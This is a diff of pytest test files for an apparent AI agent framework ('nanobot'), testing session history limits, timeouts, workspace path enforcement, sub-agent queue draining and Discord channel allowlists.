def test_explicit_max_messages_limits_output(self) -> None:
|
||||
session = _populated_session(40) # 80 messages total
|
||||
history = session.get_history(max_messages=20)
|
||||
assert len(history) <= 20
|
||||
|
||||
def test_max_messages_starts_at_user_turn(self) -> None:
|
||||
"""Sliced history should start with a user message, not mid-turn."""
|
||||
session = _populated_session(30) # 60 messages
|
||||
history = session.get_history(max_messages=25)
|
||||
assert history[0]["role"] == "user"
|
||||
|
||||
def test_max_messages_zero_uses_builtin_limit(self) -> None:
|
||||
session = _populated_session(80) # 160 messages total
|
||||
history = session.get_history(max_messages=0)
|
||||
assert len(history) <= DEFAULT_MAX_MESSAGES
|
||||
|
||||
def test_small_session_unaffected(self) -> None:
|
||||
"""When session has fewer messages than max_messages, all are returned."""
|
||||
session = _populated_session(5) # 10 messages
|
||||
history = session.get_history(max_messages=25)
|
||||
assert len(history) == 10
|
||||
|
||||
|
||||
class TestMaxMessagesIntegration:
|
||||
"""Verify the config flows from AgentLoop into get_history calls."""
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_process_message_passes_config_to_history_call(self, tmp_path: Path) -> None:
|
||||
"""The real message path should pass max_messages into session history replay."""
|
||||
loop = _make_loop(tmp_path, max_messages=25)
|
||||
loop.provider.chat_with_retry = AsyncMock(
|
||||
return_value=LLMResponse(content="ok", tool_calls=[], usage={})
|
||||
)
|
||||
loop.tools.get_definitions = MagicMock(return_value=[])
|
||||
loop.consolidator.maybe_consolidate_by_tokens = AsyncMock(return_value=False) # type: ignore[method-assign]
|
||||
|
||||
session = loop.sessions.get_or_create("cli:test")
|
||||
with patch.object(session, "get_history", wraps=session.get_history) as mock_hist:
|
||||
result = await loop._process_message(
|
||||
InboundMessage(channel="cli", sender_id="user", chat_id="test", content="hello")
|
||||
)
|
||||
|
||||
assert result is not None
|
||||
assert mock_hist.call_count == 1
|
||||
assert mock_hist.call_args.kwargs["max_messages"] == 25
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_zero_config_passes_builtin_limit_to_history_call(self, tmp_path: Path) -> None:
|
||||
loop = _make_loop(tmp_path, max_messages=0)
|
||||
loop.provider.chat_with_retry = AsyncMock(
|
||||
return_value=LLMResponse(content="ok", tool_calls=[], usage={})
|
||||
)
|
||||
loop.tools.get_definitions = MagicMock(return_value=[])
|
||||
loop.consolidator.maybe_consolidate_by_tokens = AsyncMock(return_value=False) # type: ignore[method-assign]
|
||||
|
||||
session = loop.sessions.get_or_create("cli:test")
|
||||
with patch.object(session, "get_history", wraps=session.get_history) as mock_hist:
|
||||
result = await loop._process_message(
|
||||
InboundMessage(channel="cli", sender_id="user", chat_id="test", content="hello")
|
||||
)
|
||||
|
||||
assert result is not None
|
||||
assert mock_hist.call_args.kwargs["max_messages"] == DEFAULT_MAX_MESSAGES
|
||||
|
||||
|
||||
class TestSchemaConfig:
|
||||
"""Verify the config schema accepts max_messages."""
|
||||
|
||||
def test_schema_default(self) -> None:
|
||||
from nanobot.config.schema import AgentDefaults
|
||||
|
||||
defaults = AgentDefaults()
|
||||
assert defaults.max_messages == DEFAULT_MAX_MESSAGES
|
||||
|
||||
def test_schema_accepts_zero_as_builtin_limit(self) -> None:
|
||||
from nanobot.config.schema import AgentDefaults
|
||||
|
||||
defaults = AgentDefaults(max_messages=0)
|
||||
assert defaults.max_messages == 0
|
||||
|
||||
def test_schema_accepts_positive(self) -> None:
|
||||
from nanobot.config.schema import AgentDefaults
|
||||
|
||||
defaults = AgentDefaults(max_messages=25)
|
||||
assert defaults.max_messages == 25
|
||||
|
||||
def test_schema_rejects_negative(self) -> None:
|
||||
from nanobot.config.schema import AgentDefaults
|
||||
|
||||
with pytest.raises(Exception): # Pydantic validation error
|
||||
AgentDefaults(max_messages=-1)
|
||||
@@ -5,7 +5,7 @@ from datetime import datetime
|
||||
|
||||
import pytest
|
||||
|
||||
from nanobot.agent.memory import MemoryStore
|
||||
from nanobot.agent.memory import MemoryStore, _HISTORY_ENTRY_HARD_CAP
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
@@ -142,6 +142,49 @@ class TestHistoryWithCursor:
|
||||
assert entries[0]["cursor"] in {4, 5}
|
||||
|
||||
|
||||
class TestAppendHistoryHardCap:
|
||||
"""append_history has a defensive cap that catches new callers who forgot
|
||||
to set their own tighter cap. The default is intentionally larger than
|
||||
any current caller's per-call cap, so normal operation never trips it."""
|
||||
|
||||
def test_oversized_entry_is_truncated(self, store):
|
||||
"""An entry above _HISTORY_ENTRY_HARD_CAP is truncated before being persisted."""
|
||||
huge = "x" * (_HISTORY_ENTRY_HARD_CAP + 10_000)
|
||||
store.append_history(huge)
|
||||
entry = store.read_unprocessed_history(since_cursor=0)[0]
|
||||
assert len(entry["content"]) <= _HISTORY_ENTRY_HARD_CAP + 50
|
||||
|
||||
def test_oversize_warning_is_emitted_once(self, store, caplog):
|
||||
"""Repeated oversized writes should warn only on the first occurrence."""
|
||||
from loguru import logger as loguru_logger
|
||||
|
||||
records: list[str] = []
|
||||
handler_id = loguru_logger.add(lambda m: records.append(m), level="WARNING")
|
||||
try:
|
||||
huge = "x" * (_HISTORY_ENTRY_HARD_CAP + 1)
|
||||
store.append_history(huge)
|
||||
store.append_history(huge)
|
||||
store.append_history(huge)
|
||||
finally:
|
||||
loguru_logger.remove(handler_id)
|
||||
|
||||
oversize_warnings = [r for r in records if "exceeds" in r and "chars" in r]
|
||||
assert len(oversize_warnings) == 1
|
||||
|
||||
def test_custom_max_chars_overrides_default(self, store):
|
||||
"""Callers that pass max_chars should get their tighter cap applied."""
|
||||
store.append_history("a" * 500, max_chars=100)
|
||||
entry = store.read_unprocessed_history(since_cursor=0)[0]
|
||||
assert len(entry["content"]) <= 150 # 100 + "\n... (truncated)"
|
||||
|
||||
def test_normal_sized_entries_unaffected(self, store):
|
||||
"""The hard cap must not alter entries that fit within it."""
|
||||
msg = "normal short entry"
|
||||
store.append_history(msg)
|
||||
entry = store.read_unprocessed_history(since_cursor=0)[0]
|
||||
assert entry["content"] == msg
|
||||
|
||||
|
||||
class TestDreamCursor:
|
||||
def test_initial_cursor_is_zero(self, store):
|
||||
assert store.get_last_dream_cursor() == 0
|
||||
|
||||
@@ -252,6 +252,35 @@ async def test_runner_returns_max_iterations_fallback():
|
||||
assert result.messages[-1]["role"] == "assistant"
|
||||
assert result.messages[-1]["content"] == result.final_content
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_runner_times_out_hung_llm_request():
|
||||
from nanobot.agent.runner import AgentRunSpec, AgentRunner
|
||||
|
||||
provider = MagicMock()
|
||||
|
||||
async def chat_with_retry(**kwargs):
|
||||
await asyncio.sleep(3600)
|
||||
|
||||
provider.chat_with_retry = chat_with_retry
|
||||
tools = MagicMock()
|
||||
tools.get_definitions.return_value = []
|
||||
|
||||
runner = AgentRunner(provider)
|
||||
started = time.monotonic()
|
||||
result = await runner.run(AgentRunSpec(
|
||||
initial_messages=[{"role": "user", "content": "hello"}],
|
||||
tools=tools,
|
||||
model="test-model",
|
||||
max_iterations=1,
|
||||
max_tool_result_chars=_MAX_TOOL_RESULT_CHARS,
|
||||
llm_timeout_s=0.05,
|
||||
))
|
||||
|
||||
assert (time.monotonic() - started) < 1.0
|
||||
assert result.stop_reason == "error"
|
||||
assert "timed out" in (result.final_content or "").lower()
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_runner_returns_structured_tool_error():
|
||||
from nanobot.agent.runner import AgentRunSpec, AgentRunner
|
||||
@@ -283,6 +312,46 @@ async def test_runner_returns_structured_tool_error():
|
||||
]
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_runner_stops_on_workspace_violation_without_fail_on_tool_error():
|
||||
from nanobot.agent.runner import AgentRunSpec, AgentRunner
|
||||
|
||||
provider = MagicMock()
|
||||
provider.chat_with_retry = AsyncMock(side_effect=[
|
||||
LLMResponse(
|
||||
content="working",
|
||||
tool_calls=[ToolCallRequest(id="call_1", name="read_file", arguments={"path": "/tmp/outside.md"})],
|
||||
),
|
||||
LLMResponse(content="should not continue", tool_calls=[]),
|
||||
])
|
||||
tools = MagicMock()
|
||||
tools.get_definitions.return_value = []
|
||||
tools.execute = AsyncMock(
|
||||
side_effect=PermissionError("Path /tmp/outside.md is outside allowed directory /workspace")
|
||||
)
|
||||
|
||||
runner = AgentRunner(provider)
|
||||
|
||||
result = await runner.run(AgentRunSpec(
|
||||
initial_messages=[],
|
||||
tools=tools,
|
||||
model="test-model",
|
||||
max_iterations=2,
|
||||
max_tool_result_chars=_MAX_TOOL_RESULT_CHARS,
|
||||
))
|
||||
|
||||
assert provider.chat_with_retry.await_count == 1
|
||||
assert result.stop_reason == "tool_error"
|
||||
assert "outside allowed directory" in (result.error or "")
|
||||
assert result.tool_events == [
|
||||
{
|
||||
"name": "read_file",
|
||||
"status": "error",
|
||||
"detail": "workspace_violation: Path /tmp/outside.md is outside allowed directory /workspace",
|
||||
}
|
||||
]
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_runner_persists_large_tool_results_for_follow_up_calls(tmp_path):
|
||||
from nanobot.agent.runner import AgentRunSpec, AgentRunner
|
||||
@@ -1031,11 +1100,10 @@ async def test_next_turn_after_llm_error_keeps_turn_boundary(tmp_path):
|
||||
|
||||
request_messages = provider.chat_with_retry.await_args_list[1].kwargs["messages"]
|
||||
non_system = [message for message in request_messages if message.get("role") != "system"]
|
||||
assert non_system[0] == {"role": "user", "content": "first question"}
|
||||
assert non_system[1] == {
|
||||
"role": "assistant",
|
||||
"content": _PERSISTED_MODEL_ERROR_PLACEHOLDER,
|
||||
}
|
||||
assert non_system[0]["role"] == "user"
|
||||
assert "first question" in non_system[0]["content"]
|
||||
assert non_system[1]["role"] == "assistant"
|
||||
assert _PERSISTED_MODEL_ERROR_PLACEHOLDER in non_system[1]["content"]
|
||||
assert non_system[2]["role"] == "user"
|
||||
assert "second question" in non_system[2]["content"]
|
||||
|
||||
|
||||
@@ -0,0 +1,49 @@
|
||||
from pathlib import Path
|
||||
from types import SimpleNamespace
|
||||
from unittest.mock import MagicMock
|
||||
|
||||
from nanobot.agent.loop import AgentLoop
|
||||
from nanobot.bus.queue import MessageBus
|
||||
from nanobot.providers.factory import ProviderSnapshot
|
||||
|
||||
|
||||
def _provider(default_model: str, max_tokens: int = 123) -> MagicMock:
|
||||
provider = MagicMock()
|
||||
provider.get_default_model.return_value = default_model
|
||||
provider.generation = SimpleNamespace(max_tokens=max_tokens)
|
||||
return provider
|
||||
|
||||
|
||||
def test_provider_refresh_updates_all_model_dependents(tmp_path: Path) -> None:
|
||||
old_provider = _provider("old-model")
|
||||
new_provider = _provider("new-model", max_tokens=456)
|
||||
loop = AgentLoop(
|
||||
bus=MessageBus(),
|
||||
provider=old_provider,
|
||||
workspace=tmp_path,
|
||||
model="old-model",
|
||||
context_window_tokens=1000,
|
||||
provider_snapshot_loader=lambda: ProviderSnapshot(
|
||||
provider=new_provider,
|
||||
model="new-model",
|
||||
context_window_tokens=2000,
|
||||
signature=("new-model",),
|
||||
),
|
||||
)
|
||||
|
||||
loop._refresh_provider_snapshot()
|
||||
|
||||
assert loop.provider is new_provider
|
||||
assert loop.model == "new-model"
|
||||
assert loop.context_window_tokens == 2000
|
||||
assert loop.runner.provider is new_provider
|
||||
assert loop.subagents.provider is new_provider
|
||||
assert loop.subagents.model == "new-model"
|
||||
assert loop.subagents.runner.provider is new_provider
|
||||
assert loop.consolidator.provider is new_provider
|
||||
assert loop.consolidator.model == "new-model"
|
||||
assert loop.consolidator.context_window_tokens == 2000
|
||||
assert loop.consolidator.max_completion_tokens == 456
|
||||
assert loop.dream.provider is new_provider
|
||||
assert loop.dream.model == "new-model"
|
||||
assert loop.dream._runner.provider is new_provider
|
||||
@@ -194,6 +194,87 @@ def test_get_history_preserves_reasoning_content():
|
||||
]
|
||||
|
||||
|
||||
def test_get_history_annotates_user_turns_but_not_assistant_turns():
|
||||
"""Only user turns carry the timestamp prefix.
|
||||
|
||||
Annotating assistant turns trains the model (via in-context examples) to
|
||||
start its own replies with ``[Message Time: ...]``. User-side stamps are
|
||||
enough to pin adjacent assistant replies for relative-time reasoning.
|
||||
"""
|
||||
session = Session(key="test:timestamps")
|
||||
session.messages.append({
|
||||
"role": "user",
|
||||
"content": "10 点提醒是昨天发生的",
|
||||
"timestamp": "2026-04-26T22:00:00",
|
||||
})
|
||||
session.messages.append({
|
||||
"role": "assistant",
|
||||
"content": "记下来了",
|
||||
"timestamp": "2026-04-26T22:00:05",
|
||||
})
|
||||
|
||||
history = session.get_history(max_messages=500, include_timestamps=True)
|
||||
|
||||
assert history == [
|
||||
{
|
||||
"role": "user",
|
||||
"content": "[Message Time: 2026-04-26T22:00:00]\n10 点提醒是昨天发生的",
|
||||
},
|
||||
{
|
||||
"role": "assistant",
|
||||
"content": "记下来了",
|
||||
},
|
||||
]
|
||||
|
||||
|
||||
def test_get_history_annotates_proactive_assistant_deliveries_with_timestamps():
|
||||
"""Cron / heartbeat assistant pushes still carry a timestamp prefix.
|
||||
|
||||
These proactive deliveries can sit hours away from the next user reply,
|
||||
so the model needs to know when they fired. They are rare enough that
|
||||
they don't act as in-context demonstrations encouraging the model to
|
||||
prefix its own normal replies with ``[Message Time: ...]``.
|
||||
"""
|
||||
session = Session(key="test:proactive-timestamps")
|
||||
session.messages.append({
|
||||
"role": "assistant",
|
||||
"content": "记得喝水",
|
||||
"timestamp": "2026-04-26T15:00:00",
|
||||
"_channel_delivery": True,
|
||||
})
|
||||
session.messages.append({
|
||||
"role": "user",
|
||||
"content": "好",
|
||||
"timestamp": "2026-04-26T18:00:00",
|
||||
})
|
||||
|
||||
history = session.get_history(max_messages=500, include_timestamps=True)
|
||||
|
||||
assert history == [
|
||||
{
|
||||
"role": "assistant",
|
||||
"content": "[Message Time: 2026-04-26T15:00:00]\n记得喝水",
|
||||
},
|
||||
{
|
||||
"role": "user",
|
||||
"content": "[Message Time: 2026-04-26T18:00:00]\n好",
|
||||
},
|
||||
]
|
||||
|
||||
|
||||
def test_get_history_does_not_annotate_tool_results_with_timestamps():
|
||||
session = Session(key="test:tool-timestamps")
|
||||
session.messages.append({"role": "user", "content": "run tool"})
|
||||
session.messages.extend(_tool_turn("ts", 0))
|
||||
session.messages[-1]["timestamp"] = "2026-04-26T22:00:10"
|
||||
|
||||
history = session.get_history(max_messages=500, include_timestamps=True)
|
||||
|
||||
tool_result = history[-1]
|
||||
assert tool_result["role"] == "tool"
|
||||
assert tool_result["content"] == "ok"
|
||||
|
||||
|
||||
# --- Window cuts mid-group: assistant present but some tool results orphaned ---
|
||||
|
||||
def test_window_cuts_mid_tool_group():
|
||||
@@ -217,3 +298,118 @@ def test_window_cuts_mid_tool_group():
|
||||
# leaving orphan tool results for split_a at the front.
|
||||
history = session.get_history(max_messages=6)
|
||||
_assert_no_orphans(history)
|
||||
|
||||
|
||||
# --- Image breadcrumbs: media kwarg is synthesized into content for replay ---
|
||||
|
||||
|
||||
def test_get_history_synthesizes_image_breadcrumb_from_media_kwarg():
|
||||
"""Persisted user turns carry image paths as a ``media`` kwarg; LLM
|
||||
replay must still see an ``[image: path]`` breadcrumb so the assistant's
|
||||
follow-up reply has a referent instead of trailing an empty user row."""
|
||||
session = Session(key="test:media")
|
||||
session.messages.append(
|
||||
{"role": "user", "content": "look", "media": ["/m/a.png", "/m/b.png"]}
|
||||
)
|
||||
session.messages.append({"role": "assistant", "content": "nice"})
|
||||
|
||||
history = session.get_history(max_messages=500)
|
||||
|
||||
assert history == [
|
||||
{"role": "user", "content": "look\n[image: /m/a.png]\n[image: /m/b.png]"},
|
||||
{"role": "assistant", "content": "nice"},
|
||||
]
|
||||
|
||||
|
||||
def test_get_history_synthesizes_breadcrumb_for_image_only_turn():
|
||||
"""Turns with no text but attached images must not replay as empty
|
||||
strings — the LLM would otherwise see a bare user turn followed by an
|
||||
unexplained assistant answer."""
|
||||
session = Session(key="test:image-only")
|
||||
session.messages.append({"role": "user", "content": "", "media": ["/m/pic.png"]})
|
||||
session.messages.append({"role": "assistant", "content": "I see a cat"})
|
||||
|
||||
history = session.get_history(max_messages=500)
|
||||
|
||||
assert history[0] == {"role": "user", "content": "[image: /m/pic.png]"}
|
||||
|
||||
|
||||
def test_get_history_ignores_media_kwarg_on_non_user_rows():
|
||||
"""``media`` only ever appears on user entries in practice, but the
|
||||
synthesizer must be defensive: assistants / tools with list content
|
||||
don't get the breadcrumb pasted on top."""
|
||||
session = Session(key="test:defensive")
|
||||
session.messages.append(
|
||||
{
|
||||
"role": "assistant",
|
||||
"content": [{"type": "text", "text": "structured"}],
|
||||
"media": ["/m/x.png"], # nonsense but shouldn't crash
|
||||
}
|
||||
)
|
||||
history = session.get_history(max_messages=500)
|
||||
# List content is passed through verbatim — the synthesizer only
|
||||
# rewrites plain-string content.
|
||||
assert history[0]["content"] == [{"type": "text", "text": "structured"}]
|
||||
|
||||
|
||||
def test_get_history_respects_max_tokens(monkeypatch):
|
||||
session = Session(key="test:token-cap")
|
||||
session.messages.extend(
|
||||
[
|
||||
{"role": "user", "content": "u1"},
|
||||
{"role": "assistant", "content": "a1"},
|
||||
{"role": "user", "content": "u2"},
|
||||
{"role": "assistant", "content": "a2"},
|
||||
{"role": "user", "content": "u3"},
|
||||
{"role": "assistant", "content": "a3"},
|
||||
]
|
||||
)
|
||||
|
||||
token_map = {"u1": 50, "a1": 50, "u2": 50, "a2": 50, "u3": 50, "a3": 50}
|
||||
monkeypatch.setattr(
|
||||
"nanobot.session.manager.estimate_message_tokens",
|
||||
lambda message: token_map.get(message.get("content"), 0),
|
||||
)
|
||||
|
||||
history = session.get_history(max_messages=500, max_tokens=120)
|
||||
assert [m["content"] for m in history] == ["u3", "a3"]
|
||||
|
||||
|
||||
def test_get_history_recovers_user_when_token_slice_would_be_assistant_only(monkeypatch):
|
||||
session = Session(key="test:assistant-only-slice")
|
||||
session.messages.extend(
|
||||
[
|
||||
{"role": "user", "content": "u1"},
|
||||
{"role": "assistant", "content": "a1"},
|
||||
{"role": "user", "content": "u2"},
|
||||
{"role": "assistant", "content": "a2"},
|
||||
]
|
||||
)
|
||||
token_map = {"u1": 100, "a1": 100, "u2": 100, "a2": 100}
|
||||
monkeypatch.setattr(
|
||||
"nanobot.session.manager.estimate_message_tokens",
|
||||
lambda message: token_map.get(message.get("content"), 0),
|
||||
)
|
||||
|
||||
history = session.get_history(max_messages=500, max_tokens=100)
|
||||
assert [m["content"] for m in history] == ["u2", "a2"]
|
||||
|
||||
|
||||
def test_retain_recent_legal_suffix_hard_cap_with_long_non_user_chain():
|
||||
session = Session(key="test:hard-cap-chain")
|
||||
session.messages.append({"role": "user", "content": "u0"})
|
||||
session.messages.append(
|
||||
{
|
||||
"role": "assistant",
|
||||
"content": None,
|
||||
"tool_calls": [
|
||||
{"id": "c1", "type": "function", "function": {"name": "x", "arguments": "{}"}}
|
||||
],
|
||||
}
|
||||
)
|
||||
for i in range(12):
|
||||
session.messages.append({"role": "assistant", "content": f"a{i}"})
|
||||
|
||||
session.retain_recent_legal_suffix(6)
|
||||
|
||||
assert len(session.messages) <= 6
|
||||
|
||||
@@ -1,8 +1,9 @@
|
||||
"""Tests for subagent tool registration and wiring."""
|
||||
|
||||
import asyncio
|
||||
import time
|
||||
from types import SimpleNamespace
|
||||
from unittest.mock import AsyncMock, MagicMock
|
||||
from unittest.mock import AsyncMock, MagicMock, patch
|
||||
|
||||
import pytest
|
||||
|
||||
@@ -51,3 +52,209 @@ async def test_subagent_exec_tool_receives_allowed_env_keys(tmp_path):
|
||||
)
|
||||
|
||||
mgr.runner.run.assert_awaited_once()
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_drain_pending_blocks_while_subagents_running(tmp_path):
|
||||
"""_drain_pending should block when no messages are available but sub-agents are still running."""
|
||||
from nanobot.agent.loop import AgentLoop
|
||||
from nanobot.agent.subagent import SubagentManager
|
||||
from nanobot.bus.events import InboundMessage
|
||||
from nanobot.bus.queue import MessageBus
|
||||
from nanobot.session.manager import Session
|
||||
|
||||
bus = MessageBus()
|
||||
provider = MagicMock()
|
||||
provider.get_default_model.return_value = "test-model"
|
||||
|
||||
loop = AgentLoop(bus=bus, provider=provider, workspace=tmp_path, model="test-model")
|
||||
|
||||
pending_queue: asyncio.Queue[InboundMessage] = asyncio.Queue()
|
||||
session = Session(key="test:drain-block")
|
||||
injection_callback = None
|
||||
|
||||
# Capture the injection_callback that _run_agent_loop creates
|
||||
original_run = loop.runner.run
|
||||
|
||||
async def fake_runner_run(spec):
|
||||
nonlocal injection_callback
|
||||
injection_callback = spec.injection_callback
|
||||
|
||||
# Simulate: first call to injection_callback should block because
|
||||
# sub-agents are running and no messages are in the queue yet.
|
||||
# We'll resolve this from a concurrent task.
|
||||
return SimpleNamespace(
|
||||
stop_reason="done",
|
||||
final_content="done",
|
||||
error=None,
|
||||
tool_events=[],
|
||||
messages=[],
|
||||
usage={},
|
||||
had_injections=False,
|
||||
tools_used=[],
|
||||
)
|
||||
|
||||
loop.runner.run = AsyncMock(side_effect=fake_runner_run)
|
||||
|
||||
# Register a running sub-agent in the SubagentManager for this session
|
||||
async def _hang_forever():
|
||||
await asyncio.Event().wait()
|
||||
|
||||
hang_task = asyncio.create_task(_hang_forever())
|
||||
loop.subagents._session_tasks.setdefault(session.key, set()).add("sub-drain-1")
|
||||
loop.subagents._running_tasks["sub-drain-1"] = hang_task
|
||||
|
||||
# Run _run_agent_loop — this defines the _drain_pending closure
|
||||
await loop._run_agent_loop(
|
||||
[{"role": "user", "content": "test"}],
|
||||
session=session,
|
||||
channel="test",
|
||||
chat_id="c1",
|
||||
pending_queue=pending_queue,
|
||||
)
|
||||
|
||||
assert injection_callback is not None
|
||||
|
||||
# Now test the callback directly
|
||||
# With sub-agents running and an empty queue, it should block
|
||||
drain_task = asyncio.create_task(injection_callback())
|
||||
|
||||
# Give it a moment to enter the blocking wait
|
||||
await asyncio.sleep(0.05)
|
||||
|
||||
# Should still be running (blocked on pending_queue.get())
|
||||
assert not drain_task.done(), "drain should block while sub-agents are running"
|
||||
|
||||
# Now put a message in the queue (simulating sub-agent completion)
|
||||
await pending_queue.put(InboundMessage(
|
||||
sender_id="subagent",
|
||||
channel="test",
|
||||
chat_id="c1",
|
||||
content="Sub-agent result",
|
||||
media=None,
|
||||
metadata={},
|
||||
))
|
||||
|
||||
# Should unblock and return results
|
||||
results = await asyncio.wait_for(drain_task, timeout=2.0)
|
||||
assert len(results) >= 1
|
||||
assert results[0]["role"] == "user"
|
||||
assert "Sub-agent result" in str(results[0]["content"])
|
||||
|
||||
# Cleanup
|
||||
hang_task.cancel()
|
||||
try:
|
||||
await hang_task
|
||||
except asyncio.CancelledError:
|
||||
pass
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_drain_pending_no_block_when_no_subagents(tmp_path):
|
||||
"""_drain_pending should not block when no sub-agents are running."""
|
||||
from nanobot.agent.loop import AgentLoop
|
||||
from nanobot.bus.queue import MessageBus
|
||||
|
||||
bus = MessageBus()
|
||||
provider = MagicMock()
|
||||
provider.get_default_model.return_value = "test-model"
|
||||
|
||||
loop = AgentLoop(bus=bus, provider=provider, workspace=tmp_path, model="test-model")
|
||||
|
||||
pending_queue: asyncio.Queue = asyncio.Queue()
|
||||
injection_callback = None
|
||||
|
||||
async def fake_runner_run(spec):
|
||||
nonlocal injection_callback
|
||||
injection_callback = spec.injection_callback
|
||||
return SimpleNamespace(
|
||||
stop_reason="done",
|
||||
final_content="done",
|
||||
error=None,
|
||||
tool_events=[],
|
||||
messages=[],
|
||||
usage={},
|
||||
had_injections=False,
|
||||
tools_used=[],
|
||||
)
|
||||
|
||||
loop.runner.run = AsyncMock(side_effect=fake_runner_run)
|
||||
|
||||
await loop._run_agent_loop(
|
||||
[{"role": "user", "content": "test"}],
|
||||
session=None,
|
||||
channel="test",
|
||||
chat_id="c1",
|
||||
pending_queue=pending_queue,
|
||||
)
|
||||
|
||||
assert injection_callback is not None
|
||||
|
||||
# With no sub-agents and empty queue, should return immediately
|
||||
results = await asyncio.wait_for(injection_callback(), timeout=1.0)
|
||||
assert results == []
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_drain_pending_timeout(tmp_path):
|
||||
"""_drain_pending should return empty after timeout when sub-agents hang."""
|
||||
from nanobot.agent.loop import AgentLoop
|
||||
from nanobot.bus.queue import MessageBus
|
||||
from nanobot.session.manager import Session
|
||||
|
||||
bus = MessageBus()
|
||||
provider = MagicMock()
|
||||
provider.get_default_model.return_value = "test-model"
|
||||
|
||||
loop = AgentLoop(bus=bus, provider=provider, workspace=tmp_path, model="test-model")
|
||||
|
||||
pending_queue: asyncio.Queue = asyncio.Queue()
|
||||
session = Session(key="test:drain-timeout")
|
||||
injection_callback = None
|
||||
|
||||
async def fake_runner_run(spec):
|
||||
nonlocal injection_callback
|
||||
injection_callback = spec.injection_callback
|
||||
return SimpleNamespace(
|
||||
stop_reason="done",
|
||||
final_content="done",
|
||||
error=None,
|
||||
tool_events=[],
|
||||
messages=[],
|
||||
usage={},
|
||||
had_injections=False,
|
||||
tools_used=[],
|
||||
)
|
||||
|
||||
loop.runner.run = AsyncMock(side_effect=fake_runner_run)
|
||||
|
||||
# Register a "running" sub-agent that will never complete
|
||||
async def _hang_forever():
|
||||
await asyncio.Event().wait()
|
||||
|
||||
hang_task = asyncio.create_task(_hang_forever())
|
||||
loop.subagents._session_tasks.setdefault(session.key, set()).add("sub-timeout-1")
|
||||
loop.subagents._running_tasks["sub-timeout-1"] = hang_task
|
||||
|
||||
await loop._run_agent_loop(
|
||||
[{"role": "user", "content": "test"}],
|
||||
session=session,
|
||||
channel="test",
|
||||
chat_id="c1",
|
||||
pending_queue=pending_queue,
|
||||
)
|
||||
|
||||
assert injection_callback is not None
|
||||
|
||||
# Patch the timeout to be very short for testing
|
||||
with patch("nanobot.agent.loop.asyncio.wait_for") as mock_wait:
|
||||
mock_wait.side_effect = asyncio.TimeoutError
|
||||
results = await injection_callback()
|
||||
assert results == []
|
||||
|
||||
# Cleanup
|
||||
hang_task.cancel()
|
||||
try:
|
||||
await hang_task
|
||||
except asyncio.CancelledError:
|
||||
pass
|
||||
|
||||
@@ -96,8 +96,15 @@ class _FakeSentMessage:
|
||||
|
||||
class _FakeChannel:
|
||||
# Channel double that records outbound payloads and typing activity.
|
||||
def __init__(self, channel_id: int = 123) -> None:
|
||||
def __init__(
|
||||
self,
|
||||
channel_id: int = 123,
|
||||
parent_id: int | None = None,
|
||||
parent: object | None = None,
|
||||
) -> None:
|
||||
self.id = channel_id
|
||||
self.parent_id = parent_id
|
||||
self.parent = parent
|
||||
self.sent_payloads: list[dict] = []
|
||||
self.sent_messages: list[_FakeSentMessage] = []
|
||||
self.trigger_typing_calls = 0
|
||||
@@ -148,12 +155,14 @@ def _make_interaction(
|
||||
*,
|
||||
user_id: int = 123,
|
||||
channel_id: int | None = 456,
|
||||
channel=None,
|
||||
guild_id: int | None = None,
|
||||
interaction_id: int = 999,
|
||||
):
|
||||
return SimpleNamespace(
|
||||
user=SimpleNamespace(id=user_id),
|
||||
channel_id=channel_id,
|
||||
channel=channel,
|
||||
guild_id=guild_id,
|
||||
id=interaction_id,
|
||||
command=SimpleNamespace(qualified_name="new"),
|
||||
@@ -166,25 +175,39 @@ def _make_message(
|
||||
author_id: int = 123,
|
||||
author_bot: bool = False,
|
||||
channel_id: int = 456,
|
||||
parent_channel_id: int | None = None,
|
||||
message_id: int = 789,
|
||||
content: str = "hello",
|
||||
guild_id: int | None = None,
|
||||
mentions: list[object] | None = None,
|
||||
attachments: list[object] | None = None,
|
||||
reply_to: int | None = None,
|
||||
reply_author_id: int | None = None,
|
||||
message_type=None,
|
||||
):
|
||||
# Factory for incoming Discord message objects with optional guild/reply/attachments.
|
||||
guild = SimpleNamespace(id=guild_id) if guild_id is not None else None
|
||||
reference = SimpleNamespace(message_id=reply_to) if reply_to is not None else None
|
||||
referenced_message = (
|
||||
SimpleNamespace(author=SimpleNamespace(id=reply_author_id))
|
||||
if reply_author_id is not None
|
||||
else None
|
||||
)
|
||||
reference = (
|
||||
SimpleNamespace(message_id=reply_to, resolved=referenced_message)
|
||||
if reply_to is not None
|
||||
else None
|
||||
)
|
||||
return SimpleNamespace(
|
||||
author=SimpleNamespace(id=author_id, bot=author_bot),
|
||||
channel=_FakeChannel(channel_id),
|
||||
channel=_FakeChannel(channel_id, parent_channel_id),
|
||||
content=content,
|
||||
guild=guild,
|
||||
mentions=mentions or [],
|
||||
raw_mentions=[],
|
||||
attachments=attachments or [],
|
||||
reference=reference,
|
||||
id=message_id,
|
||||
type=message_type or discord.MessageType.default,
|
||||
)
|
||||
|
||||
|
||||
@@ -357,6 +380,147 @@ async def test_on_message_accepts_when_channel_in_allow_channels() -> None:
|
||||
assert handled[0]["chat_id"] == "456"
|
||||
|
||||
|
||||
@pytest.mark.asyncio
|
||||
async def test_on_message_accepts_thread_when_parent_channel_in_allow_channels() -> None:
|
||||
# Discord threads have independent channel IDs, but inherit allowlist access
|
||||
# from their parent channel.
|
||||
channel = DiscordChannel(
|
||||
DiscordConfig(
|
||||
enabled=True,
|
||||
allow_from=["*"],
|
||||
allow_channels=["456"],
|
||||
group_policy="mention",
|
||||
),
|
||||
MessageBus(),
|
||||
)
|
||||
channel._bot_user_id = "999"
|
||||
handled: list[dict] = []
|
||||
|
||||
async def capture_handle(**kwargs) -> None:
|
||||
handled.append(kwargs)
|
||||
|
||||
channel._handle_message = capture_handle # type: ignore[method-assign]
|
||||
|
||||
await channel._on_message(
|
||||
_make_message(
|
||||
channel_id=777,
|
||||
parent_channel_id=456,
|
||||
guild_id=1,
|
||||
